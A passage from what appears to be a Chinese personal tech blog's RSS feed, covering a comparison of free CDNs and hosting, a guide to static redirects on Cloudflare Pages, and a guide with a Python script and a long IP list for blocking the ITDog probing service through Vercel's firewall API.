&lt;p&gt;&lt;strong&gt;推荐IP&lt;/strong&gt; 76.76.21.21&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/14654577-5c25-4136-bb06-9e10d1945ae2.CZNQ5Cd8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eb1ef62c-f50c-4f89-a287-c74e18353b9c.CKAJ6yog.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://edgeone.ai&quot;&gt;EdgeOne CDN&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;目前处于内测,需要兑换码。获取方式前往 &lt;a href=&quot;https://edgeone.ai/zh/redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;/a&gt; 。无流量和请求数限制。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ed25c33f-5719-44b5-844e-62ac73eadfef.BmyvSiLc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;支持&lt;strong&gt;高级回源设置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/a1517d8e-1664-4819-ba08-d78ae13299a4.C_6H7nP_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;全球可用区(不含中国大陆)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本人博客目前使用的CDN&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;默认提供的CNAME延迟一般。下图是使用了本人的HK优选 eo.072103.xyz EdgeOne Page不可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b2937ed2-0f8d-4179-a9b5-b465902ca9ab.DqjmBSRk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;EdgeOne CDN 中国大陆可用区&lt;/h2&gt;
&lt;p&gt;需要&lt;strong&gt;实名认证&lt;/strong&gt;,需要&lt;strong&gt;域名备案&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;默认CNAME可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/c44674d3-d37e-4f00-a7ee-cdac7798b293.CH3qv5Em.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;无流量和请求数限制。&lt;strong&gt;无法被打死&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/posts/record/#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D&quot;&gt;戳我查看优选域名&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下图使用本人的分流优选: fenliu.072103.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f0785c5d-b31a-40d1-9da9-ac50a94f6b0a.DaPCEqw-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://render.com&quot;&gt;Render&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;注册简单,具有严格的用量限制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0bccb1b9-3fe1-49f0-a255-0805fc0ee35c.x5zGmp0s.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2b6104d5-9cee-4e2b-adb5-9aefe02240d2.buC3mSKp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://pages.github.com/&quot;&gt;Github Page&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;需要使用Github Action发布。&lt;strong&gt;中国大陆大部分地区会间歇性阻断&lt;/strong&gt;,不推荐使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/efccadbf-bc70-4444-bb48-8399cf881617._VpX_ZqP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向</title><link>https://blog.acofork.com/posts/cfpage-redirect/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cfpage-redirect/</guid><description>Cloudflare的重定向规则非常强大但是如果直接使用重定向规则创建批量重定向会消耗很多的配额</description><pubDate>Sun, 13 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;快速上手!&lt;/h1&gt;
&lt;p&gt;直接 Fork我的 &lt;a href=&quot;https://github.com/afoim/Redirect_Group&quot;&gt;仓库&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接着将该仓库连接到Cloudflare部署Worker或Page然后绑定你的域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0c99399a-5d25-4372-9f9b-79767c32d150.CHz_CAev.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着更改 &lt;code&gt;_redirects&lt;/code&gt; 内的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f9476b1d-b047-441b-a742-58124032a91b.Bch3TlFx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;例如:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/ https://www.afo.im/ 301
/test/* https://test.test/test/:splat 302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则意味着&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/&lt;/code&gt; 301 永久重定向到 &lt;code&gt;https://www.afo.im/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3f49855c-6835-423d-805c-4758f232d136.BNHp_D2Z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/test/*&lt;/code&gt; 302 临时重定向到 &lt;code&gt;https://test.test/test/*&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f018f75a-83ae-435e-9fce-d81d331f6d2f.Cht4Uqbq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数&lt;/p&gt;
</content:encoded></item><item><title>配置Vercel让ITDog测试全部403</title><link>https://blog.acofork.com/posts/vercel-deny/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-deny/</guid><description>很讨厌别人用ITDog等拨测服务疯狂测试你的站点拒绝他们</description><pubDate>Thu, 10 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配套视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1w7GTzMEy7&lt;/p&gt;
&lt;h1&gt;获取ITDog等拨测服务的IP&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;因为Vercel不支持IPv6所以我们只需要获取v4IP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果你有VPS直接写一个Py脚本创建一个HTTP服务器记录IP去重即可&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你只有家里云可以使用Cloudflare Tunnel然后获取 &lt;code&gt;CF-Connecting-IP&lt;/code&gt; 来曲线救国&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论你已经获得了你要屏蔽的拨测网站的IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/91daff1e-b248-4f90-9b97-31bff7fa2c14.3ICRx5ym.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建Vercel API Token&lt;/h1&gt;
&lt;p&gt;前往 https://vercel.com/account/settings/tokens 创建一个Token&lt;/p&gt;
&lt;h1&gt;抓取防火墙创建/更新接口&lt;/h1&gt;
&lt;p&gt;前往 https://vercel.com/your-projects/fuwari/firewall&lt;/p&gt;
&lt;p&gt;新增规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/84645ada-92bd-42f7-827f-96a93bd54997.DiE44kEU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便写点东西然后抓包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0f60d87a-df45-42d3-a692-c172982899cc.BcSuupFc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&amp;amp;teamId=team_lemndzHQNJAcTipIF6elB5Md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将主机名 &lt;code&gt;vercel.com&lt;/code&gt; 改为 &lt;code&gt;api.vercel.com&lt;/code&gt; 。并携带请求头 &lt;code&gt;Authorization&lt;/code&gt; 值为刚才获取的Token&lt;/p&gt;
&lt;p&gt;复制刚才的响应并且稍作修改进行测试,看是否能更新成功&lt;/p&gt;
&lt;p&gt;可以看到已经200 OK&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b87a06b5-e33c-4d1d-aede-18ecba95d8cc.BeMf6cwf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用Python脚本创建大批量IP拒绝规则&lt;/h1&gt;
&lt;p&gt;根据本人测试Vercel虽然在创建规则的时候有一个 &lt;code&gt;is any of&lt;/code&gt; 支持填入多个IP但是单规则最多只能填写&lt;strong&gt;75&lt;/strong&gt;所以我们需要一个Python脚本批量帮我们规划。脚本已经写好&lt;/p&gt;
&lt;p&gt;使用: &lt;code&gt;python app.py ip.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;作用自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
&quot;&quot;&quot;
Vercel防火墙规则更新脚本
用法: python vercelnoitdog.py xxx.txt
&quot;&quot;&quot;
import sys
import json
import requests
import ipaddress
from typing import List, Dict, Any
# Vercel API配置
API_BASE_URL = &quot;https://api.vercel.com/v1/security/firewall/config/draft&quot;
PROJECT_ID = &quot;prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&quot;
TEAM_ID = &quot;team_lemndzHQNJAcTipIF6elB5Md&quot;
AUTH_TOKEN = &quot;你的Token&quot;
RULE_ID = &quot;rule_noitdog_eGxdcK&quot;
# 每组最大IP数量
MAX_IPS_PER_GROUP = 75
def validate_ip_or_cidr(ip_str: str) -&amp;gt; bool:
&quot;&quot;&quot;
验证IP地址或CIDR格式是否有效
&quot;&quot;&quot;
try:
# 尝试解析为IP地址或网络
ipaddress.ip_address(ip_str)
return True
except ValueError:
try:
# 尝试解析为CIDR网络
ipaddress.ip_network(ip_str, strict=False)
return True
except ValueError:
return False
def read_ips_from_file(file_path: str) -&amp;gt; List[str]:
&quot;&quot;&quot;
从文件中读取IP地址和CIDR网段
&quot;&quot;&quot;
ips = []
invalid_entries = []
try:
with open(file_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
for line_num, line in enumerate(f, 1):
ip = line.strip()
if ip and not ip.startswith(&apos;#&apos;): # 忽略空行和注释
if validate_ip_or_cidr(ip):
ips.append(ip)
else:
invalid_entries.append(f&quot;第{line_num}行: {ip}&quot;)
print(f&quot;从文件 {file_path} 读取到 {len(ips)} 个有效的IP地址/CIDR网段&quot;)
if invalid_entries:
print(f&quot;⚠️ 发现 {len(invalid_entries)} 个无效条目:&quot;)
for entry in invalid_entries[:5]: # 只显示前5个
print(f&quot; {entry}&quot;)
if len(invalid_entries) &amp;gt; 5:
print(f&quot; ... 还有 {len(invalid_entries) - 5} 个无效条目&quot;)
return ips
except FileNotFoundError:
print(f&quot;错误: 文件 {file_path} 不存在&quot;)
sys.exit(1)
except Exception as e:
print(f&quot;读取文件时出错: {e}&quot;)
sys.exit(1)
def chunk_ips(ips: List[str], chunk_size: int = MAX_IPS_PER_GROUP) -&amp;gt; List[List[str]]:
&quot;&quot;&quot;
将IP列表分组每组最多包含指定数量的IP
&quot;&quot;&quot;
chunks = []
for i in range(0, len(ips), chunk_size):
chunks.append(ips[i:i + chunk_size])
return chunks
def create_condition_groups(ip_chunks: List[List[str]]) -&amp;gt; List[Dict[str, Any]]:
&quot;&quot;&quot;
创建条件组每个组包含一个IP列表
&quot;&quot;&quot;
condition_groups = []
for ip_chunk in ip_chunks:
condition_group = {
&quot;conditions&quot;: [
{
&quot;op&quot;: &quot;inc&quot;,
&quot;type&quot;: &quot;ip_address&quot;,
&quot;value&quot;: ip_chunk
}
]
}
condition_groups.append(condition_group)
return condition_groups
def create_request_payload(condition_groups: List[Dict[str, Any]]) -&amp;gt; Dict[str, Any]:
&quot;&quot;&quot;
创建请求负载
&quot;&quot;&quot;
payload = {
&quot;action&quot;: &quot;rules.update&quot;,
&quot;id&quot;: RULE_ID,
&quot;value&quot;: {
&quot;name&quot;: &quot;noitdog&quot;,
&quot;active&quot;: True,
&quot;description&quot;: &quot;&quot;,
&quot;conditionGroup&quot;: condition_groups,
&quot;action&quot;: {
&quot;mitigate&quot;: {
&quot;action&quot;: &quot;deny&quot;,
}
}
}
}
return payload
def send_request(payload: Dict[str, Any]) -&amp;gt; bool:
&quot;&quot;&quot;
发送PATCH请求到Vercel API
&quot;&quot;&quot;
url = f&quot;{API_BASE_URL}?projectId={PROJECT_ID}&amp;amp;teamId={TEAM_ID}&quot;
headers = {
&quot;Authorization&quot;: f&quot;Bearer {AUTH_TOKEN}&quot;,
&quot;Content-Type&quot;: &quot;application/json&quot;
}
try:
print(f&quot;发送请求到: {url}&quot;)
print(f&quot;请求数据: {json.dumps(payload, indent=2, ensure_ascii=False)}&quot;)
response = requests.patch(url, headers=headers, json=payload)
print(f&quot;响应状态码: {response.status_code}&quot;)
print(f&quot;响应内容: {response.text}&quot;)
if response.status_code == 200:
print(&quot;✅ 请求成功&quot;)
return True
else:
print(f&quot;❌ 请求失败: {response.status_code} - {response.text}&quot;)
return False
except requests.exceptions.RequestException as e:
print(f&quot;❌ 网络请求错误: {e}&quot;)
return False
except Exception as e:
print(f&quot;❌ 发送请求时出错: {e}&quot;)
return False
def main():
&quot;&quot;&quot;
主函数
&quot;&quot;&quot;
if len(sys.argv) != 2:
print(&quot;用法: python vercelnoitdog.py &amp;lt;ip_file.txt&amp;gt;&quot;)
print(&quot;示例: python vercelnoitdog.py ips.txt&quot;)
sys.exit(1)
ip_file = sys.argv[1]
# 读取IP地址
ips = read_ips_from_file(ip_file)
if not ips:
print(&quot;❌ 没有找到有效的IP地址或CIDR网段&quot;)
sys.exit(1)
# 去重
unique_ips = list(set(ips))
print(f&quot;去重后共有 {len(unique_ips)} 个唯一IP地址/CIDR网段&quot;)
# 分组
ip_chunks = chunk_ips(unique_ips)
print(f&quot;IP地址被分为 {len(ip_chunks)} 组&quot;)
for i, chunk in enumerate(ip_chunks, 1):
print(f&quot;第 {i} 组: {len(chunk)} 个IP/CIDR&quot;)
# 创建条件组
condition_groups = create_condition_groups(ip_chunks)
# 创建请求负载
payload = create_request_payload(condition_groups)
# 发送请求
success = send_request(payload)
if success:
print(&quot;\n🎉 防火墙规则更新成功!&quot;)
else:
print(&quot;\n💥 防火墙规则更新失败!&quot;)
sys.exit(1)
if __name__ == &quot;__main__&quot;:
main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例ip.txt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;223.26.78.6
182.101.26.81
101.226.41.74
117.148.172.71
183.194.216.135
119.96.16.87
112.65.95.205
59.36.216.50
124.225.103.136
125.73.215.4
221.130.18.132
42.81.156.75
59.49.86.70
120.220.190.144
116.153.63.68
219.151.141.70
118.213.140.68
1.180.239.80
36.158.204.68
218.30.71.80
218.98.53.88
182.242.83.133
111.6.225.75
101.207.252.75
221.204.62.68
42.202.219.70
111.13.153.72
121.31.236.73
180.130.113.72
113.207.73.135
36.104.133.71
42.185.158.68
116.176.33.201
60.28.203.70
124.160.160.70
202.108.15.148
116.177.229.5
111.48.137.135
211.139.55.70
156.253.8.27
112.90.210.132
42.63.75.72
36.163.196.91
117.187.182.132
115.231.43.69
153.0.230.8
45.251.101.5
112.48.150.134
116.136.19.134
218.57.21.135
49.71.77.84
123.6.70.5
111.32.145.8
59.80.45.132
112.29.205.70
36.250.8.132
36.147.38.70
220.181.53.87
125.211.192.35
150.139.140.70
223.244.186.68
183.2.175.12
113.240.100.81
117.157.235.95
117.161.136.74
1.193.215.70
111.51.76.68
36.150.79.4
120.233.53.26
58.211.13.98
101.28.250.72
125.64.2.134
113.62.118.132
36.136.125.68
117.177.67.5
211.91.67.89
115.223.6.243
27.185.235.70
111.26.149.68
111.12.212.73
183.201.192.68
111.62.174.73
222.75.5.70
119.147.118.127
218.61.211.101
180.97.244.136
220.162.119.71
125.77.129.206
111.42.192.68
111.29.45.133
117.168.153.198
109.248.18.86
171.15.110.73
116.178.236.69
116.172.154.17
120.201.243.134
183.240.228.133
112.90.40.216
221.8.93.95
120.232.121.180
43.163.239.208
222.79.71.253
150.109.245.197
117.180.235.132
221.181.52.171
120.71.150.171
154.23.241.34
23.225.146.6
194.147.100.44
43.156.69.84
146.185.214.41
43.130.151.11
43.131.29.194
185.99.132.104
38.54.126.18
38.60.209.194
38.54.45.156
38.54.59.59
58.19.20.71
113.201.9.12
116.162.51.68
112.123.37.68
38.54.63.220
125.74.47.33
72.52.114.230
173.255.209.253
192.73.244.230
35.221.248.87
165.227.48.82
144.202.112.137
35.197.10.99
45.77.19.32
103.134.34.7
66.220.18.238
71.19.144.157
174.137.48.255
209.177.156.46
154.21.82.74
128.199.126.228
50.7.8.99
209.177.158.115
192.73.242.50
104.4.224.169
45.45.236.19
103.14.244.246
23.150.40.100
24.86.248.28
216.66.0.234
107.173.182.190
104.225.8.133
103.6.87.164
45.76.118.224
23.237.26.69
103.131.159.213
59.153.100.154
185.40.234.177
163.47.179.246
27.147.166.142
176.58.90.129
65.20.71.66
192.95.26.127
45.114.84.2
50.7.114.87
103.204.80.222
45.159.97.148
123.49.9.6
185.224.3.114
185.44.82.20
103.244.145.149
157.119.186.4
45.159.99.200
93.114.194.138
185.243.217.223
103.109.59.222
51.158.147.91
119.45.133.212
183.245.146.101
51.15.190.186
162.254.84.55
36.151.192.162
101.43.53.133
47.101.65.208
114.130.57.222
139.186.177.82
113.56.218.178
2.58.57.254
148.163.223.19
185.123.101.33
61.164.246.102
154.70.207.18
58.218.205.215
2.189.254.219
148.163.220.22
37.32.6.150
147.78.2.180
103.72.136.138
139.59.35.197
103.85.239.77
45.40.252.184
185.34.3.179
185.30.166.165
60.12.124.101
47.104.185.98
185.106.103.26
43.139.250.146
1.95.214.189
103.81.104.242
45.202.210.37
59.38.99.166
180.153.91.3
119.97.171.14
120.204.196.162
116.153.81.2
1.32.216.91
15.235.167.152
140.207.232.18
58.243.202.72
223.111.24.198
116.253.27.152
59.83.222.20
211.91.243.88
101.71.160.163
124.225.162.194
59.63.230.4
175.6.41.195
220.202.21.129
112.28.234.140
115.236.144.231
125.39.11.1
153.0.192.167
61.190.114.193
121.31.231.89
58.144.173.98
123.6.27.10
58.215.177.156
182.140.221.2
219.144.80.136
111.32.157.133
120.223.242.157
111.47.215.148
1.71.11.171
180.213.48.172
150.138.178.3
112.48.221.77
117.169.16.203
124.239.250.80
111.62.70.129
111.6.251.227
59.80.37.156
36.102.218.76
119.188.148.129
42.63.65.201
36.158.254.130
180.130.96.143
111.206.4.152
61.240.153.196
116.176.35.201
1.31.130.68
116.177.252.82
61.128.145.14
221.204.45.134
117.24.3.143
125.74.24.2
183.201.231.162
101.206.203.18
182.242.140.26
111.10.63.136
183.232.11.45
36.99.143.1
123.184.205.46
111.13.102.12
117.187.142.66
139.215.167.76
218.25.106.113
117.161.24.21
111.19.212.248
219.147.74.6
117.174.129.181
218.203.117.72
111.12.63.131
210.76.62.60
117.157.22.134
36.104.140.200
111.26.55.11
111.40.189.229
111.12.157.228
222.75.58.106
111.29.42.34
183.224.38.14
36.131.159.78
116.178.71.245
117.180.232.165
43.242.167.44
110.157.249.53
134.122.151.96
34.80.186.23
221.181.56.200
139.99.134.84
154.38.106.211
141.164.56.18
51.38.70.219
51.77.203.76
54.38.242.242
148.113.173.25
162.19.154.159
139.84.235.192
172.233.24.182
36.250.246.34
123.6.27.64
157.122.209.77
223.87.182.211
182.106.155.131
58.216.15.29
211.91.166.53
47.97.228.5
221.194.161.44
60.221.194.28
1.31.130.66
120.27.18.28
58.251.56.177
60.223.217.164
39.175.4.28
8.138.119.222
36.251.255.37
36.143.233.41
121.31.231.115
115.236.144.236
61.174.43.24
223.109.76.167
218.8.164.49
123.157.148.149
119.147.156.156
47.106.151.176
113.5.183.26
120.204.196.133
125.39.11.14
61.241.123.180
140.207.232.23
111.123.41.34
101.133.148.180
111.39.146.24
47.94.20.35
180.153.91.21
183.134.36.167
125.64.129.30
116.153.81.66
60.188.118.173
220.181.126.38
111.123.254.134
36.143.193.156
42.56.67.155
111.40.189.252
211.91.243.95
183.36.24.28
116.177.250.162
1.193.218.40
111.62.98.78
42.63.65.199
36.102.218.86
1.71.11.181
120.201.104.153
112.26.229.30
182.242.140.10
120.232.248.163
180.213.48.223
219.147.74.22
183.224.33.198
116.176.35.214
116.136.135.148
60.5.252.39
110.166.65.78
112.28.209.220
113.96.150.162
58.144.173.72
42.59.4.156
111.10.63.158
111.32.157.154
111.29.42.54
58.241.27.162
153.0.192.185
120.39.201.14
222.186.18.152
112.48.141.175
221.204.45.136
101.67.10.151
61.164.147.152
39.98.49.59
1.28.232.27
101.206.203.29
120.223.242.149
117.157.22.147
111.1.160.153
120.232.98.168
58.220.82.34
125.74.24.15
116.253.27.146
111.77.198.151
36.150.43.34
112.122.156.166
111.47.248.69
139.215.162.44
111.63.179.37
58.215.177.5
61.243.17.23
112.29.220.176
110.157.249.48
221.231.92.31
222.81.122.157
117.169.16.130
27.128.221.166
111.13.102.147
36.158.254.168
219.144.80.133
202.104.186.160
111.206.4.206
111.172.239.72
221.195.21.15
61.168.100.167
120.220.212.22
111.12.63.173
120.238.155.29
121.228.188.15
218.205.74.153
117.66.50.176
111.6.251.218
117.161.24.26
119.188.3.89
113.201.180.80
36.104.140.208
111.12.157.239
221.181.56.132
121.17.123.41
218.203.117.84
183.201.231.176
175.6.41.150
1.190.42.161
124.236.43.188
101.200.214.185
43.242.167.59
116.136.134.161
27.159.72.27
124.232.169.149
124.225.162.228
180.110.204.95
183.232.250.130
112.85.251.136
1.194.235.25
125.94.37.14
1.190.198.188
59.83.222.19
223.111.24.209
116.178.73.205
223.111.193.162
61.128.145.22
113.96.108.38
219.128.78.149
183.232.147.27
150.138.40.179
124.229.60.35
117.135.215.165
36.135.11.5
8.130.23.178
182.140.221.50
183.246.206.155
61.240.153.224
59.63.230.28
183.232.48.165
101.71.160.27
36.131.141.25
150.138.74.152
120.210.112.160
220.185.164.153
117.180.232.175
125.72.124.21
124.165.205.158
34.150.84.19
121.11.2.164
183.240.84.160
113.113.101.178
58.243.202.94
39.104.16.158
117.21.225.154
150.138.178.22
111.48.182.22
223.111.255.46
58.222.35.25
36.156.181.50
20.24.72.70
106.117.244.9
180.121.81.39
119.249.48.33
36.150.210.23
182.201.241.181
111.51.100.158
120.233.177.163
120.233.0.35
16.163.131.38
8.137.53.211
113.62.172.189
120.233.177.165
115.236.144.235
180.153.91.20
111.6.251.219
54.220.191.101
113.201.180.79
153.3.232.187
120.27.109.210
183.232.250.171
117.161.24.25
121.11.2.163
223.111.24.210
61.164.147.168
8.208.8.92
34.101.254.179
120.233.0.41
111.12.63.176
119.188.3.86
39.107.137.48
101.133.173.51
47.113.114.116
140.207.232.22
150.138.74.171
219.147.74.24
112.122.156.164
123.6.27.65
58.243.202.102
120.232.248.154
180.213.48.215
111.13.102.148
47.99.106.232
20.74.239.192
223.109.76.169
220.181.126.39
111.206.4.204
120.220.212.35
8.213.210.244
47.74.36.66
52.243.66.112
3.110.8.122
3.37.93.47
54.215.39.119
20.106.77.49
58.144.173.114
120.204.196.151
34.77.123.66
3.228.90.224
15.160.99.228
34.102.85.154
15.152.134.0
34.124.147.129
3.96.235.198
35.203.120.96
1.28.232.24
8.220.206.175
20.113.137.203
39.100.89.75
20.70.168.217
34.88.215.233
120.223.242.152
54.252.17.196
34.105.151.212
34.150.213.129
202.104.186.166
1.193.218.25
101.67.10.149
13.49.141.212
20.73.66.155
54.251.99.254
34.97.52.174
108.136.71.175
15.184.90.0
221.195.21.9
34.118.30.85
47.237.17.19
8.209.136.9
20.194.2.123
8.215.60.204
223.87.182.208
124.165.205.149
13.77.219.191
111.3.88.40
106.117.244.16
65.52.234.249
183.232.147.31
60.188.118.172
104.198.91.239
180.97.251.43
182.106.155.132
223.111.255.38
121.31.231.114
51.140.189.31
112.48.141.173
183.201.231.177
175.6.41.185
121.228.188.17
40.89.179.182
1.31.130.65
124.236.43.190
112.29.220.166
34.138.235.109
150.138.40.178
112.85.251.138
183.246.206.151
220.185.164.177
36.135.11.6
1.190.198.186
104.42.170.197
40.77.126.226
116.178.71.248
51.137.188.42
116.153.81.65
36.150.43.21
125.72.124.30
150.138.178.23
47.108.210.10
47.252.40.117
222.81.122.173
18.169.141.195
182.140.221.49
113.96.150.157
47.91.106.49
8.211.36.84
211.91.166.33
182.242.140.13
125.39.11.22
52.229.73.86
211.91.243.96
36.131.141.36
116.177.250.149
117.180.232.172
116.176.35.216
52.140.120.6
116.253.27.156
13.69.137.62
34.71.216.82
47.251.22.110
1.71.11.180
120.238.155.30
20.41.234.167
20.97.31.166
34.125.140.25
18.198.169.212
47.250.83.225
34.216.180.221
8.212.168.4
34.106.36.80
34.80.25.50
34.141.72.86
117.157.22.159
34.130.170.189
52.67.7.168
15.237.134.31
116.136.135.139
34.64.76.211
20.206.67.205
102.133.191.17
120.210.112.149
3.130.130.218
52.249.251.97
20.203.191.125
13.245.240.194
34.151.203.21
113.5.183.21
47.76.234.71
35.74.182.183
13.73.237.220
34.93.125.50
36.158.254.166
47.87.10.135
20.212.147.238
34.131.245.4
34.129.133.149
20.63.56.18
34.91.245.249
35.201.15.13
34.127.120.136
34.65.109.86
20.210.115.182
14.119.108.97
36.250.8.143
175.6.198.123
122.13.156.93
119.96.16.112
116.153.80.135
112.65.92.24
124.225.43.76
124.160.160.85
115.223.45.12
117.68.65.13
112.132.229.80
180.153.30.124
153.0.230.10
36.140.98.185
222.84.188.147
36.134.84.172
106.227.27.10
116.162.91.15
119.36.116.72
112.85.242.37
36.137.123.208
59.80.45.236
121.31.236.105
123.6.67.55
49.67.73.113
60.28.203.96
150.138.239.152
113.201.9.13
106.38.195.210
202.108.29.83
123.151.105.90
113.207.73.136
113.142.203.39
221.204.79.137
180.130.113.83
211.90.25.90
36.134.81.132
27.221.106.135
36.139.239.145
27.151.24.14
101.207.252.83
27.185.235.86
36.140.22.122
116.176.33.212
125.64.35.87
36.137.22.118
36.148.0.84
111.124.196.23
36.138.180.78
36.134.79.10
118.183.211.82
171.15.110.93
59.49.86.80
42.63.75.92
182.242.214.118
42.202.219.83
116.136.19.158
219.151.141.87
222.75.5.73
36.134.47.198
118.213.140.85
36.137.89.73
36.137.250.224
43.242.183.208
36.138.53.214
42.59.0.91
36.137.50.99
36.134.87.242
36.138.125.196
36.133.106.196
36.97.229.180
36.137.46.212
36.138.129.114
36.133.212.236
36.104.135.11
42.101.84.87
125.211.192.50
139.209.203.85
36.138.249.96
36.139.217.42
36.137.133.156
36.134.76.220
36.134.67.30
36.102.223.206
116.172.154.10
36.139.213.132
36.134.223.27
113.62.118.143
222.81.124.106
116.178.236.108
36.139.215.4
36.133.109.86
112.43.36.140
199.119.65.155
45.135.229.199
170.39.226.168
130.51.40.113
23.159.160.29
45.45.216.219
79.133.121.42
213.255.209.128
170.39.227.192
23.145.48.232
92.223.102.61
92.38.176.123
209.209.57.64
5.188.111.165
162.253.42.95
209.209.59.201
45.9.10.253
38.175.100.1
194.49.68.59
74.118.138.59
104.245.12.220
213.156.157.23
103.170.232.190
103.173.178.158
154.31.112.24
103.121.211.146
51.158.190.4
185.189.72.131
38.175.119.130
185.222.219.5
154.12.190.9
103.170.232.255
45.87.60.12
5.161.74.145
89.37.99.43
5.75.183.245
45.11.104.130
45.142.244.202
185.217.109.206
38.175.116.132
45.11.106.130
5.75.244.23
45.150.240.129
92.223.105.223
38.175.120.128
45.150.242.130
83.138.55.28
45.150.242.131
194.156.162.128
194.156.163.130
45.146.4.70
209.146.104.21
45.11.104.140
103.167.150.110
38.175.114.129
65.109.164.100
128.14.227.111
185.254.74.188
185.248.86.134
45.61.175.191
213.156.142.202
103.213.246.25
45.91.94.193
185.126.238.219
213.183.62.132
170.39.225.200
38.175.117.128
45.87.62.74
5.189.221.103
83.138.53.220
45.131.71.128
38.175.115.131
185.234.213.129
145.14.131.223
5.188.36.17
45.142.247.129
194.99.78.14
106.75.189.151
78.142.195.191
103.136.144.101
170.39.230.26
103.181.45.35
45.142.246.177
45.131.69.99
45.131.70.138
38.175.113.128
146.185.248.29
85.215.238.211
27.148.249.91
106.75.8.5
103.45.78.243
165.154.120.79
185.105.0.67
91.148.134.231
152.32.249.61
38.175.108.20
154.17.1.69
